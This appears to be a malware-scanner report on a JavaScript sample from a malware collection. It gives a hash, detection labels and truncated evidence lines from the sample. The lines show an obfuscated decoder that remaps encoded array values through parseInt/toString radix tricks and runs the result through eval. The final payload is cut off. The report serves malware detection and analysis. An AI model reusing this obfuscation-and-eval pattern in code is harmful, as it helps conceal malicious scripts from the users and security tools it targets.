Suspicious ^80% javascript-malware-collection Download

20151210_27cf4776663b5772b7912e38234c501b.js

Obfuscated eval execution

parseInt toString radix remapMassive array index assignment

SHA-256722fbd940ea3a5716c89817f85ff5fc4e476a9c8aa3443595af9f7da08a9a2f1

Evidence

Obfuscated increment/decrement via arithmetic lines 1–7

1var dlDzbMcWZSkoa=[];
2vpErbfX=(-672+672)/31;while(true){if(vpErbfX>=(35960+520)/285){break;}dlDzbMcWZSkoa[vpErbfX]=String.fromCharCode(vpErbfX);vpErbfX++;}
3function uBWGG(nUyPdOIcxHq,BWZMWFiBjxaZB,kkgDwvMK){UHvV=parseInt(nUyPdOIcxHq,BWZMWFiBjxaZB);ShylD=UHvV.toString(kkgDwvMK);return ShylD;}function lTssjEkiEOLqJjK(vaONIJKadtOzhHAvQ){eval(vaONIJKadtOzhHAvQ)}
4function uZIckCXcmArOXiZXsVAavlpkBnOsuvLNywrAamjvpmmXaWwzVYXiAr(DTYrrcKOCXYZm,lMWowMOodDDwZu){ return dlDzbMcWZSkoa[uBWGG(DTYrrcKOCXYZm[lMWowMOodDDwZu],(21385+515)/876,(1249+621)/187)];}
5function tJTZxvL(AciGgbUaYhsqMUzDYUgFzcSqFXGIMoQrfkKg) {return !isNaN(parseFloat(AciGgbUaYhsqMUzDYUgFzcSqFXGIMoQrfkKg)) && isFinite(AciGgbUaYhsqMUzDYUgFzcSqFXGIMoQrfkKg);}
6function TUQqQRmkfho(LUFzwnsI,LMrlMf){return LUFzwnsI.split(LMrlMf)}
7var r=[];r[0]="d";r[1]="a";r[2]="d";r[3]="a";r[4]="4i";r[5]="3m";r[6]="4e";r[7]="17";r[8]="4h";r[9]="17";r[10]="2b";r …

Massive array index assignment line 8

8:4324… ";j[861]="4g";j[862]="4e";j[863]="4l";j[864]="17";j[865]="17";j[866]="4n";j[867]="d";j[868]="a";j[869]="17";j[870]="17";j[871]="17";j[872]="17";j[873]="17";j[874]="17";j[875]="17";j[876]="17";j[877]="17";j[878]="17";j[879]="45";j[880]="42";j[881]="17";j[882]="1f";j[883]="1f";j[884]="1f";j[885]="4a";j[886]="41";j[887]="4j";j[888]="17";j[889]="2i";j[890]="3m";j[891]="4g";j[892]="41";j[893]="1f";j[894]="1g";j …